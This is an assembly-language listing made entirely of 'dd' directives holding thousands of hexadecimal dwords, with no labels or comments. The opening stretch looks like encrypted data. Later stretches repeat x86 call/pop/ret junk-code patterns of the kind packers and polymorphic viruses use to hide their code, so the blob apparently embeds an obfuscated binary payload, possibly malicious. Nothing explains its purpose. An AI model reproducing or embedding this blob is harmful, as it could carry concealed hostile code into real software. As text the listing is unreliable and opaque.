		dd 7177207Ch, 715F5525h, 551B7725h, 964E7021h, 0A1E7BBDFh
		dd 0E657CFE5h, 24A9019Ah, 2803D6ACh, 5571AF2Fh,	55183C77h
		dd 0B3B6A21h, 21926BE2h, 119A9E05h, 550D4905h, 35DA621h
		dd 1C0F85E2h, 540E2412h, 85E4D22Ah, 71DBE9DDh, 0DCE8BE47h
		dd 5E184BA4h, 0BC9A2B27h, 0D090C1EDh, 531055C0h, 0BD4BA94Bh
		dd 551BD422h, 0DD83201h, 513F71A8h, 513FDEA0h, 551B4D39h
		dd 0ED8F661h, 79C81020h, 466A34AAh, 0D892D22Ah,	53107A64h
		dd 1B5F62h, 551B99C9h, 96466D21h, 71772F7Ch, 715FD225h
		dd 551BBD25h, 964E9121h, 0DECBE1AAh, 71B5F3Ah, 551B99C9h
		dd 96416D21h, 714F2F7Bh, 715FD225h, 551BB025h, 96499621h
		dd 75AC1E17h, 4E90D16Eh, 0FCAE1371h, 0B1D4639h,	0DB14BDAAh
		dd 551B5324h, 9BBBDD9Bh, 33C3E746h, 332A059Eh, 0E92FE4A0h
		dd 53F607A8h, 0DF144B2Ah, 551BA627h, 53AEDEA8h,	0C092AF2Ah
		dd 5310D880h, 7D5EEFE7h, 0DE5C332Ah, 5E1AC394h,	57562527h
		dd 0EF7D7844h, 619A7800h, 0EEC44D05h, 28965F48h, 0AA1D6132h
		dd 5E086094h, 0D8E81127h, 5B6655A4h, 21BCC27h, 551B50C9h
		dd 96448921h, 71675D7Eh, 715FEB25h, 551B2F25h, 964CDD21h
		dd 7313642Fh, 0DE017F1Dh, 5E001E94h, 0DECB5627h, 5E1BC5ACh
		dd 5C9EE327h, 331D3E03h, 332A6DA0h, 31B2761h, 551BA5C9h
		dd 96457321h, 716F207Fh, 715F5525h, 551B7725h, 964D7321h
		dd 8F38EF8Dh, 3D450F9Eh, 0C8926449h, 53106020h,	5571A9AAh
		dd 55183C72h, 0E3B6A21h, 9926EE2h, 119A9E05h, 55024905h
		dd 658A621h, 0AAC1AE2h,	5AD6F15Eh, 0DC141D9Eh, 551B6A27h
		dd 66DAB8AAh, 0AC7B9C2Ah, 34C8F22Eh, 5571A6AAh,	5518BB77h
		dd 0B3BA921h, 21928AE2h, 119A6E05h, 55063105h, 35D9A21h
		dd 38B257E2h, 0F3F70F9Ah, 5A7169FFh, 551BAFACh,	0F0A65F21h
		dd 0DC1D612Dh, 5E2914A4h, 98AE1127h, 0BC1D4627h, 551BA70Ah
		dd 0FD2CD6ACh, 5571AF2Fh, 55183C73h, 0F3B6A21h,	1926FE2h
		dd 119A9E05h, 55034905h, 759A621h, 0E2FC7FE2h, 0D47D019Ch
		dd 571BDE0h, 551B6DC9h,	99EE2121h, 0D981AFFh, 0B421E71h
		dd 711F2F7Bh, 0BD48534Bh, 551BA922h, 0ED88F01h,	513F36A8h
		dd 513F71A0h, 551B9A3Ch, 0F9D81E62h, 6E8AADA8h,	0AC07496Dh
		dd 208E566Fh, 7E1DDF09h, 5E139FB4h, 6886B827h, 351D9489h
		dd 0BDD9F22Eh, 551BA633h, 0B876339h, 75BB8923h,	0EDF3C1BFh
		dd 0CA8C3782h, 0D092CCD5h, 53108FD4h, 5A4B2C78h, 551BA6A6h
		dd 7107DA21h, 5EBA24AAh, 334BD22Ah, 519299AAh, 31B5F05h
		dd 551B99C9h, 96456D21h, 716F2F7Fh, 715FD225h, 551BB025h
		dd 964D9221h, 0BB646F5Ch, 0C0927E5Ah, 531080E4h, 551EC0A8h
		dd 0C0E4A02Ah, 531040F0h, 0BD4EA94Bh, 551BD422h, 8D83701h
		dd 513F59A8h, 513FDEA0h, 551B4D39h, 0EAD8F364h,	0E2C80FCDh
		dd 550E232Eh, 45F2D421h, 611B6A21h, 0E8114C82h,	0F27E3BCh
		dd 0FB648822h, 0DC07A1FDh, 5E1882A4h, 0B0A62227h, 931DDF09h
		dd 5E332FA4h, 8C9A6627h, 10C3420Fh, 0F9E65B49h,	711F2713h
		dd 22C1D448h, 1FC148A0h, 0E0E490D1h, 53107974h,	551B3AC8h
		dd 4DC20021h, 0DC2B861Dh, 680336F6h, 0D54F2560h, 28032CACh
		dd 46F2D22Fh, 0E01B6A21h, 0A43FB207h, 0FE989BBAh, 6518ABCh
		dd 8A7F2BD5h, 85E483B1h, 0BD4EA94Bh, 551BD422h,	8D83701h
		dd 513F59A8h, 513FDEA0h, 551B4D3Ah, 8ED8F364h, 1CAD740Ah
		dd 0DCF3F195h, 5E14C1A4h, 51B0027h, 551B36C9h, 9643BA21h
		dd 715FC479h, 715F2725h, 551B4E25h, 964BE921h, 4466EDB6h
		dd 0C5A7A4AAh, 0C090B156h, 53108844h, 7D5EC8E7h, 3F5CA02Ah
		dd 56F30221h, 751BA921h, 0DC421778h, 0D41F4E6Dh, 491F1165h
		dd 141B9A21h, 14F98E70h, 538ADA8Ch, 56DB350Eh, 5E12F8B4h
		dd 615CBC27h, 24A2C7C8h, 0D44D1F6Dh, 74CCBE15h,	0A69041BAh
		dd 464E13DEh, 5571552Ah, 55184170h, 0C3BD421h, 199233E2h
		dd 119A3105h, 550C9E05h, 45A4D21h, 3C6410E2h, 4D9EDE46h
		dd 561DA75Ch, 5E0BFDACh, 0DECB9527h, 5E11FC9Ch,	149E1327h
		dd 3F1D4627h, 56F3F721h, 751B5321h, 0DC426A78h,	0D41FF06Dh
		dd 401F4E65h, 141B3521h, 19915970h, 7D5EC8E7h, 3F48A02Ah
		dd 56F30321h, 751BA921h, 0DC431779h, 0D41F4E65h, 491F1165h
		dd 151B9A21h, 4AFC8E71h, 0ADAA6CD6h, 3DFF609Ch,	0B36C0911h
		dd 0F53FE0A0h, 3F6424DEh, 56F36221h, 751B9A21h,	0DC448E7Eh
		dd 0D41F825Dh, 4C1F7765h, 121BA921h, 1BD51776h,	87900FBBh
		dd 508E1C41h, 5A1D9132h, 551B4BA9h, 559AA921h, 341B5321h
		dd 464E1CDEh, 5571D22Ah, 55188273h, 0F3B3521h, 192C0E2h
		dd 119A4905h, 550DA205h, 7595321h, 0FA529AE2h, 551BDAC8h
		dd 4B2A6121h, 0FB81F447h, 0F7C5AB0h, 0DC10401Dh, 5E0F17ACh
		dd 28AE7827h, 0D81DA23Bh, 5B66CCA4h, 61B0027h, 551B36C9h
		dd 9640BA21h, 7147C47Ah, 715F2725h, 551B4725h, 9648EA21h
		dd 64AEFD6Ah, 0AA1D6100h, 0AEA43AF1h, 5FDE1FA8h, 55714B2Ah
		dd 55184E74h, 83B5321h,	3992F4E2h, 119AD005h, 55026E05h
		dd 5E3521h, 0AC307FE2h,	0DCEE1452h, 5E33C3A4h, 109E9527h
		dd 21DA209h, 0BD4CD44Bh, 551B6A22h, 0AD86A01h, 513FE6A8h
		dd 513F09A0h, 551BA638h, 4ED80466h, 0C218A54Ah,	0E8928394h
		dd 531066FCh, 849A677Eh, 35467AE2h, 0EF71257Fh,	519A82BAh
		dd 3D8CCF05h, 2CA6804Ah, 0AA1DDF2Fh, 5E083F94h,	1B5F27h
		dd 551B99C9h, 96466D21h, 71772F7Ch, 715FD225h, 551BBE25h
		dd 964E9121h, 0B7DE267Dh, 551B3CC8h, 419F6521h,	85C8EA76h
		dd 0E8925A2Eh, 531056C0h, 0D8D5162Eh, 5B66CCA4h, 55128327h
		dd 86923521h, 1776FCD3h, 0AA81C515h, 3CDD27F1h,	0DC74ADC8h
		dd 5E3FB8A4h, 55173D27h, 0D1C36A21h, 6B45552Eh,	7805601h
		dd 0D0DD147Dh, 53108E64h, 51B3962h, 551BAAC9h, 9643F421h
		dd 715FE379h, 715FB425h, 551B8C25h, 964B0D21h, 0DEB64113h
		dd 5E1D229Ch, 551F4127h, 2533D421h, 9AADD6B1h, 715FBE71h
		dd 0DB14FA25h, 551B4D24h, 1453069Ah, 0AC903556h, 0BD1B2240h
		dd 551BD428h, 0FFFB1853h, 0D7DC1060h, 5EA5FCDCh, 11921789h
		dd 5AF3A205h, 801B5321h, 81FBD5C7h, 43743335h, 1FD57E6h
		dd 0E8A17F91h, 0A28A89Ah, 51B2779h, 551BA5C9h, 96437321h
		dd 715F2079h, 715F5525h, 551B7225h, 964B7521h, 0AAC97405h
		dd 579D4203h, 0E31BA621h, 550BBAFAh, 12BCA921h,	487EC867h
		dd 0F0DE2A1h, 0DB9CD5E4h, 0E0E4E249h, 53105E74h, 0BD4BA64Bh
		dd 551B5322h, 0DD8F101h, 513F90A8h, 513F2EA0h, 551B3535h
		dd 0C5D8CA61h, 6559BA1h, 0CCA192Eh, 2803D6ACh, 0BC4CAF2Fh
		dd 551BD433h, 78A53E55h, 43906C90h, 0A60A2FAAh,	9695BDE6h
		dd 0AA427806h, 0E0A6D8F1h, 0DC1DA209h, 5E3C71A4h, 86900C27h
		dd 0FD36B0ACh, 55719C2Fh, 5518A571h, 0D3BA621h,	11920BE2h
		dd 119AAD05h, 5502D005h, 55B6A21h, 50A5C9E2h, 56B79813h
		dd 5E3C9494h, 0E1A4F627h, 0DC4AAF2Bh, 55718D25h, 55183C74h
		dd 83B6A21h, 399268E2h
		dd 119A9E05h, 55004905h, 5EA621h, 0C96529E2h, 8CFE104Dh
		dd 208E2B30h, 0BD1D6109h, 551B3533h, 9F419784h,	59C9F27h
		dd 165FA3A1h, 5F6B5645h, 5BF2CBDFh, 0B71BD421h,	2FD0D4EBh
		dd 65FED38Dh, 7A69C122h, 8D9012F3h, 0BD4EA64Bh,	551B5322h
		dd 8D8F401h, 513FB8A8h,	513F2EA0h, 551B3538h, 47D8CF64h
		dd 8859C10Bh, 0D0965A50h, 5315FB00h, 0BD4AA94Bh, 551BD422h
		dd 0CD83301h, 513F79A8h, 513FDEA0h, 551B4D39h, 83D8F760h
		dd 62344EBBh, 334BA590h, 519203AAh, 1B0005h, 551B36C9h
		dd 9646BA21h, 7177C47Ch, 715F2725h, 551B4E25h, 964EEC21h
		dd 0F83BB120h, 0FD21EE44h, 0AD49137Eh, 74BCA78h, 64140993h
		dd 551D2D2Eh, 74B5321h,	0D41982Eh, 49928C7Bh, 51B0005h
		dd 551B36C9h, 9643BA21h, 715FC479h, 715F2725h, 551B4625h
		dd 964BE921h, 0E0906B62h, 53104EA8h, 46CAA0DEh,	0EB7D9C2Ah
		dd 0D0929031h, 5310BECCh, 551B41C8h, 512F1721h,	57842158h
		dd 19E250B6h, 29F7EA71h, 923E3487h, 5E28C8A4h, 551BA927h
		dd 21B3921h, 551BAAC9h,	9644F421h, 7167E37Eh, 715FB425h
		dd 551B8625h, 964C0A21h, 0E0F1C171h, 0D45DF17Bh, 4086A0F3h
		dd 0DE1DDF0Fh, 5E368394h, 0B88ECA27h, 3F1D9139h, 56F31821h
		dd 751BA621h, 0DC46907Ch, 0D41F8D4Dh, 421FF065h, 101B6A21h
		dd 0F512F674h, 8390BED2h, 0AD92069Eh, 349E2F32h, 3F1D5838h
		dd 56F3F821h, 751BD421h, 0DC42A978h, 0D41F116Dh, 4C1FBE65h
		dd 141B4D21h, 38DB6570h, 0DB3B630Dh, 551BA0C9h,	2503B921h
		dd 2A764F06h, 0DC4CB167h, 5E352794h, 33441727h,	0D0906EAAh
		dd 53104AA4h, 0EF2F34ACh, 1692D22Fh, 30A6E720h,	0D81D3E02h
		dd 5BA19494h, 5528F427h, 0F1E8A621h, 55A360CAh,	5E1BA921h
		dd 9718A0E1h, 11906A39h, 0BD483905h, 551B9A21h,	42D8CC7Ah
		dd 0DC1BA621h, 0DC0B777Dh, 0E0F8D65h, 0CABBE399h, 0DEFB9521h
		dd 0AA1F1165h, 0D890FAC1h, 531049F8h, 0D4AE8F40h, 341D582Dh
		dd 551BBBC9h, 442A8021h, 16030C16h, 0BCD69DB9h,	21138D56h
		dd 0BD297130h, 551BA629h, 0BC9FD16Dh, 176D2E79h, 0C428D76h
		dd 0FD3AD7ACh, 0D896332Fh, 531520B5h, 73B07899h, 0B49E95B9h
		dd 7E1D5808h, 213F7BEEh, 2156F305h, 7F751BA9h, 55DC4517h
		dd 65D41F4Eh, 21421F11h, 77131B9Ah, 0F305E983h,	6AD98BA4h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 19042444h
		dd 45000000h, 8797C355h, 1FDBCF5Fh, 3FDB531h, 9E9060Bh
		dd 0F2000000h, 0D655C5D1h, 7C78EC9Bh, 12E9h, 6061F500h
		dd 6F18D781h, 0E9815732h, 15F1102Ch, 8BFCC361h,	890F60C0h
		dd 4, 0A788B866h, 0BD8361F5h, 60B05BDh,	83097500h, 0B29D1BDh
		dd 19740006h, 0C08B5350h, 4B9B8h, 99858900h, 8D060B12h
		dd 0DB3819Dh, 5BD3FF06h, 0D1BD8358h, 60B29h, 53501774h
		dd 4B9B8h, 99858900h, 8D060B12h, 0DB0229Dh, 5BD3FF06h
		dd 28A0F58h, 60000000h,	5E961h,	0D8F0000h, 6AF1A3ACh, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h
		dd 58D4C352h, 0C8558F08h, 0FCE1714Ch, 6AC08Bh, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h
		dd 0DD82E7C3h, 0C18B4031h, 0BBCFBF66h, 4EBh, 6A0000h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h
		dd 0BE99AC3h, 1B000000h, 0B5B5C75Eh, 6674571Bh,	6A4A4Fh
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h
		dd 13EADDC3h, 0E6BF66FFh, 6870F20h, 29000000h, 0B1275BDh
		dd 0A9858D06h, 6A060B28h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 19042444h, 40000000h, 714DC350h, 8821D290h
		dd 0FB5BD8Bh, 5750060Bh, 5FF08B66h, 6A240489h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h
		dd 0A5CEC355h, 0E9CA2BC0h, 7, 5A99179Eh, 8BAF5BBEh, 7DF681FBh
		dd 6A650A62h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1604h, 0C3504000h, 81C8E0A0h, 0A67F1DCEh, 6A006A0Fh
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1A042444h
		dd 42000000h, 3B27C352h, 3C35668Ah, 0CD858DF6h,	89060EBDh
		dd 0B106185h, 358D0106h, 83060B09h, 0B58B05C0h,	60B0329h
		dd 24048950h, 0D3B21FBEh, 6A006A09h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 0F49C356h
		dd 686h, 0D19D8900h, 6A060B32h,	418D8900h, 0FF060B0Fh
		dd 0B2F2195h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1C04h, 0C3564600h, 0F920F1FBh, 73CB3D0Ah, 0A1BD8993h
		dd 8D060B0Dh, 0EA7B09Dh, 51006A06h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1D04h, 0C3514100h, 3CBD633Fh, 0D4DB763Eh
		dd 3160FA21h, 0B2DFD85h, 0E9B58B06h, 61060B23h,	41953160h
		dd 61060B0Ch, 0D681D3FFh, 443CE49h, 66D85FFh, 6A060Bh
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h
		dd 893D10C3h, 6A3C29BAh, 0A5BD336Dh, 8B060B16h,	713E9F8h
		dd 0E80000h, 5D000000h,	0BDD7ED81h, 0BD81060Eh,	60B3385h
		dd 7D0h, 184860Fh, 85890000h, 60B08DDh,	24219D8Bh, 0BD8B060Bh
		dd 60B0E89h, 100E381h, 6A0000h,	3E851h,	59200000h, 4C8959C3h
		dd 44810424h, 190424h, 51410000h, 0FD4895C3h, 525030FCh
		dd 0DB0B5FF5h, 0E2850Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 160424h, 56460000h, 0E567E1C3h, 1F3DB58Bh
		dd 0BD83060Bh, 60EBBBAh, 5B840F00h, 6A000000h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h
		dd 3C45C356h, 0F32575E6h, 5890F1Bh, 66000000h, 8D2FEF81h
		dd 0ACE9h, 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h
		dd 1504h, 0C3524200h, 0BD8B8CF7h, 60B01D1h, 17CD9D89h
		dd 85C7060Bh, 60EBBBAh,	1, 0FE9h, 0E6FF7600h, 8CEFE606h
		dd 0C9040411h, 28AE13ABh, 60E9h, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1604h,	0C3504000h, 0FF3DB33h
		dd 38Fh, 0FB8B6600h, 6840Fh, 95290000h,	60B18CDh, 0BBBA85C7h
		dd 60Eh, 800F0000h, 1Dh, 0FE860h, 65B80000h, 10584CE1h
		dd 0FE05F200h, 0E6D53ACBh, 8D895A7Ch, 60B1505h,	219D8D61h
		dd 6A060B24h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 18042444h, 46000000h, 0F445C356h, 8123E42Fh,	0FFFEFF23h
		dd 905FBEFFh, 8C667E87h, 56006ADBh, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1404h, 0C3564600h, 66DF81F6h, 891D567Ah
		dd 0B0211BDh, 4C3F606h,	50840Fh, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1C0424h, 56460000h, 377662C3h
		dd 89FED335h, 8B57E9E5h, 0B7BE5EFEh, 663EC40Ch,	0CEAFCE81h
		dd 18ED95FFh, 8166060Bh, 8B108BF6h, 0B0B11BDh, 0BE525006h
		dd 5C519E1Fh, 2404895Eh, 0DFE9FB8Bh, 6A000003h,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h
		dd 4B39C357h, 0B58B7CCEh, 60B232Dh
		dd 6A00B0F9h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1A042444h, 42000000h, 2681C352h, 0FEB16ABh, 89F38BE1h
		dd 0B17ED85h, 6A70E606h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 17042444h, 45000000h, 3242C355h, 0C7814189h
		dd 5C4957E2h, 0F860F560h, 61615E57h, 9D8971E4h,	60B03CDh
		dd 6AD8B60Fh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 16042444h, 45000000h, 8AF4C355h, 0C1BD23F9h,	0BA060B31h
		dd 6, 0E855006Ah, 3, 5DC35D20h,	4246C89h, 4244481h, 14h
		dd 0A7C35545h, 12ED8501h, 0C38B060Bh, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Dh, 81C35141h, 28C6A55h, 0E14E9776h
		dd 4E8C167h, 10E9h, 29C1400h, 7FDA63E6h, 0D5D31AADh, 0A2E58885h
		dd 0E2F76617h, 0AE8h, 1F3FAB00h, 0C2218C9Fh, 8BFB09AEh
		dd 0B1741B5h, 0D82B5F06h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 18h, 71C35545h, 0F366F06Fh, 93FA8B66h, 0DE950h
		dd 82670000h, 0E6EFE05Dh, 0FC199376h, 93ABC20Ch, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0E9C35545h, 2B047E32h
		dd 0B5FFBABEh, 60B3385h, 32DD95FFh, 6A060Bh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 150424h, 52420000h, 89F987C3h
		dd 0B28019Dh, 0F00B006h, 38Ch, 0FA8B6600h, 0B50B70E6h
		dd 60B0151h, 0AE9h, 87A51F00h, 0A839F8BDh, 0E4C29CD4h
		dd 50006A71h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1904h
		dd 0C3504000h, 4AA5783Bh, 0BD8B4989h, 60B01E9h,	0F51BD8Bh
		dd 613C060Bh, 1CC830Fh,	6A0000h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1A0424h, 50400000h, 0B4E723C3h, 0BDDEC6Eh
		dd 8BD8B60Fh, 6BAFAh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1C0424h, 53430000h, 540FB8C3h, 50D0AE2Bh
		dd 8BFCABD3h, 53006AC3h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1604h, 0C3534300h, 8B988565h, 0B04B5B5h, 4E8C106h, 1D9B52Bh
		dd 0F766060Bh, 50006AE2h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1404h, 0C3504000h, 7AEF812Eh, 665F770Ch
		dd 76CCCF81h, 8589D82Bh, 60B2A71h, 56006A58h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1904h,	0C3564600h, 0E95150BEh
		dd 0B5BFE8C3h, 0B5F4503h, 0B12B5BDh, 0FD82B06h,	0E588h
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1A04h
		dd 0C3554500h, 19A5D1D2h, 665B8A8Eh, 0B9D18FBFh, 7, 83F28B66h
		dd 816600C1h, 3B6510EFh, 0A7860FD9h, 6A000000h,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1B042444h, 42000000h
		dd 0B451C352h, 22B52220h, 0C78194F8h, 6988CA64h, 6AD98C66h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 15042444h
		dd 42000000h, 0FDE9C352h, 0F6F9BF0Fh, 840F04C1h, 4Ah, 0A7C0BE66h
		dd 18ED95FFh, 0F51060Bh, 5B5EFEBFh, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 1Ch, 38C35040h, 7E53F4E9h, 524C933Bh
		dd 343DC32Bh, 0F000008h, 986h, 0BE9F900h, 66000000h, 0C08BF38Bh
		dd 0C55BD8Bh, 0C38B060Bh, 6AD88Bh, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 170424h, 50400000h, 43360EC3h, 0E2DF819Eh
		dd 0C704EEF1h, 0B2A9D85h, 84A95306h, 14E956h, 2E6F0000h
		dd 0B0FD345Dh, 76A83BBDh, 8906D31Dh, 838A46DDh,	0C08B59EAh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h, 3CC35040h
		dd 0C1B58B8Ah, 81060B31h, 0B3385BDh, 7D006h, 10850F00h
		dd 0F8000000h, 338585FFh, 9D89060Bh, 60B1A55h, 0FFF9B70Fh
		dd 0B3385B5h, 0DD95FF06h, 6A060B32h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 19042444h, 43000000h, 37FFC353h
		dd 0FE1A8674h, 5678B890h, 0FE91234h, 48000000h,	0D8B71C58h
		dd 0CB026C4h, 713F3D56h, 9D8D2CF2h, 60EC499h, 0FFF915E9h
		dd 50006AFFh, 3E8h, 0C3582000h,	24448958h, 24448104h, 1704h
		dd 0C3504000h, 0C378F94Eh, 1505BD8Bh, 0B70F060Bh, 0EBC18BF9h
		dd 4, 0D19D8900h, 6A060B21h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1D042444h, 40000000h, 0F5DAC350h,	4AC40B2h
		dd 6A7FA131h, 0EE9h, 0AE13AB00h, 3F062128h, 178F5A80h
		dd 8D91F050h, 0B28A985h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1804h, 0C3524200h, 5CCD6D93h, 1DB58BA2h
		dd 90060B21h, 0E920B160h, 13h, 1143DFCDh, 78206AD1h, 2604CB50h
		dd 61DAE570h, 615E6169h, 870F6050h, 5, 2FA90ABEh, 9BBA6621h
		dd 6690616Fh, 7BA9EE81h, 9D31006Ah, 60B06D5h, 6A006Ah
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h
		dd 0E83AC4C3h, 0C6B9858Dh, 6A060Eh, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 150424h, 56460000h, 6627A2C3h
		dd 7073EF81h, 14E8h, 0AC46D700h, 0A643BE92h, 88C2C37Bh
		dd 4AFD7648h, 40521771h, 65BF668Ch, 0C0835EFBh,	9E99005h
		dd 0FF000000h, 287DE6B4h, 0A39FDC26h, 90F88B50h, 29F59D09h
		dd 8509060Bh, 60B0C09h,	0B503006Ah, 60B2E59h, 6A006Ah
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h
		dd 0A49F87C3h, 830FF8h,	0FF000000h, 0B2F2195h, 52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1804h, 0C3524200h
		dd 47D36C2Eh, 0B9BD0922h, 8D060B24h, 0EA7B09Dh,	9D9D8906h
		dd 0FF060B17h, 0B2E681D3h, 0FF233332h, 0B066D85h, 56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1C04h, 0C3564600h
		dd 0B22AA04Ah, 0D51D58EFh, 1DBE66AFh, 0DF1E94Ch, 0E80000h
		dd 5D000000h, 0C6C3ED81h, 6A060Eh, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 180424h, 55450000h, 5AC2D5C3h, 0BD8191C9h
		dd 60B3385h, 7D0h, 0AD860Fh, 0FB8B0000h, 8699D8Bh, 0B58B060Bh
		dd 60B2701h, 100E381h, 6A0000h,	3E853h,	5B200000h, 5C895BC3h
		dd 44810424h, 170424h, 53430000h, 3AB217C3h, 0FDB0BD6h
		dd 5385h, 83F38B00h, 0EC4E9BDh,	840F0006h, 29h,	0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 0EEC35141h, 9589D584h
		dd 60B06BDh, 2BE9h, 0E985C700h,	1060EC4h, 81000000h, 4BA1BDEEh
		dd 16E93Ah, 0BD8B0000h,	60B0079h, 0C4E985C7h, 60Eh, 85010000h
		dd 60B1241h, 8699D8Dh, 0BF0F060Bh, 0FF2381F0h, 66FFFFFEh
		dd 0B70FDB8Ch, 4C3F6F2h, 52840Fh, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 160424h, 53430000h, 3E40FC3h
		dd 0B69B58Bh, 0FFF5060Bh, 0B18ED95h, 6860F06h, 8B000000h
		dd 0B31C9BDh, 0EE85006h, 0DB000000h, 9CD06AE1h,	4FBD1CFEh
		dd 1D11B79Bh, 0F98B6694h, 2404895Fh, 3FAE9h, 0F28B6600h
		dd 0B0F88B66h, 61958900h, 0E6060B0Fh, 56006A70h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1404h, 0C3564600h
		dd 6671E48Ah, 0B60FFB8Bh, 0D9BE51D8h, 5F566E24h, 6BAh
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1704h
		dd 0C3514100h, 473ACD0Bh, 66C38BFCh, 2517C681h,	8904E8C1h
		dd 0B0D9595h, 0E2F76606h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 15h, 85C35343h, 3D82BC8h, 0B0F9DBDh, 0BE665006h
		dd 1C895CF5h, 0E1B58B24h, 0FF060B07h, 0B3385B5h, 51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1C04h, 0C3514100h
		dd 0C8302468h, 0E699DB41h, 0DD95FFC8h, 89060B32h, 0B165995h
		dd 6A00B006h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 16042444h, 46000000h, 62E3C356h, 1BD894Dh, 0E6060B20h
		dd 51006A70h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1C04h
		dd 0C3514100h, 0CE00DC01h, 79AF682Bh, 3880FBEh,	0F000000h
		dd 71E4FABFh, 0E855006Ah, 3, 5DC35D20h,	4246C89h, 4244481h
		dd 15h,	0CC35545h, 3EFDBEE7h, 613C4ED7h, 29D830Fh, 6A0000h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 150424h, 50400000h
		dd 2932A8C3h, 0B318585h, 0D8B60F06h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ah, 0A1C35646h,	61527ED8h, 6BAFC71h
		dd 6A000000h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1B042444h, 41000000h, 4F2C351h, 0CDBE742Fh, 8D89272Fh
		dd 60B20F5h, 9D89C38Bh,	60B27E1h, 3104E8C1h, 0B20C1BDh
		dd 0E2F76606h, 32B9BD8Bh, 9D31060Bh, 60B005Dh, 6AD82Bh
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h
		dd 0E9DF73C3h, 60806051h, 762ABA66h, 1061B589h,	5861060Bh
		dd 5499D01h, 0D82B060Bh, 1C9880Fh, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 160424h, 56460000h, 321751C3h
		dd 29FDBD89h, 7B9060Bh,	6A000000h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 1908C357h
		dd 0E84FEE4Bh, 13h, 0B738FEA0h,	49948C84h, 0F505D3CAh
		dd 878DE953h, 0BE143895h, 401A3CB7h, 0C1835Fh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 4BC35040h, 9CFE1CD1h
		dd 0DD1B8BECh, 860FD93Bh, 133h,	0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 17h, 0AEC35545h,	6600EFAAh, 6AD98Ch
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h
		dd 0C1F6C2C3h, 0C3840F04h, 6A000000h, 3E85000h,	20000000h
		dd 8958C358h, 81042444h, 17042444h, 40000000h, 0B82C350h
		dd 0FE97D10h, 0E000000h, 13852E07h, 6D3FC9C0h, 0C34A57C1h
		dd 95FF3C03h, 60B18EDh,	6B460F9h, 0E2D9D8Bh, 5B61060Bh
